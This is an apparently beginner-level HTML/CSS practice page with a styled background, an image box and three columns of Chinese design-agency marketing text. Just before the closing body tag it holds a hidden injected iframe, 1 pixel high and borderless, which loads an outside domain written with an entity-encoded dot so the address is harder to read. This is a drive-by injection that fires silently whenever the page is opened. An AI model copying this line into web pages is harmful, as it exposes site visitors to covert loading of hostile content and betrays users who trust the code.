学习Css

程序员成长之旅 · 程序员成长之旅/HTML+css网页学习/自己的源码 · 447 字

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>万宇晨 css学习</title>
<style type="text/css">
.bg {
	background-image: url(images/1501.jpg);
	height: 1080px;
	width: 1920px;
}
#pic1{
	background-image:url(images/1502.png);
	width:737px;
	height:366px;
	
	margin-top:200px;
	margin-left:200px;
}
.text{
	line-height:20px;
	color:#666;
	float:left;
	font-size:12px;
	height:200px;
	width:200px;
	margin-top:90px;
	margin-left:10px;
	margin-right:10px;
	padding:5px;
}
.title{
	color:#09F;
	font-size:16px;
	font-weight:600;
}
#text2{
	margin-top:60px;
	margin-bottom:35px;
}
#text3{
	margin-left:30px;
}
</style>
</head>

<body>
<div class="bg" id="b1">此处显示  class "bg" id "b1" 的内容
	<div class="pic" id="pic1">11
     <div class="text" id="text1">
     <p class="title">在艺术的设计中追求完美</p>
     <p>设计是一种需要,而不是装饰。每一个广告,都是商品印象(brand image)的长期投资,丝毫不允许有冒渎印象的行为。
  我们是一个综合型的设计团队,设法符合客户的理念,提升自身团队价值,并制定合理的计划来完善每个设计项目,这就是我们的设计观念。  </p>
  </div>
  <div class="text" id="text2">
     <p class="title">中小企业解决方案</p>
     <p>不管您是刚成立的企业还是发展中的企业,蓝逸拥有对品牌深刻理解的策略专家,因为只有对品牌具有敏锐的洞察力,才能为您提供更有效的品牌战略方案,创造品牌的核心价值。
网站设计及顾问.</p>
  </div>
  <div class="text" id="text3">
     <p class="title">在艺术的设计中追求完美</p>
     <p>帮助中小企业迅速建立自己的品牌形象以提升竞争能力,制订符合他们自身发展的服务计划,尽可能以较低的费用获得高品质的策略咨询服务。
</p>
  </div>
</div>
</div>

<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>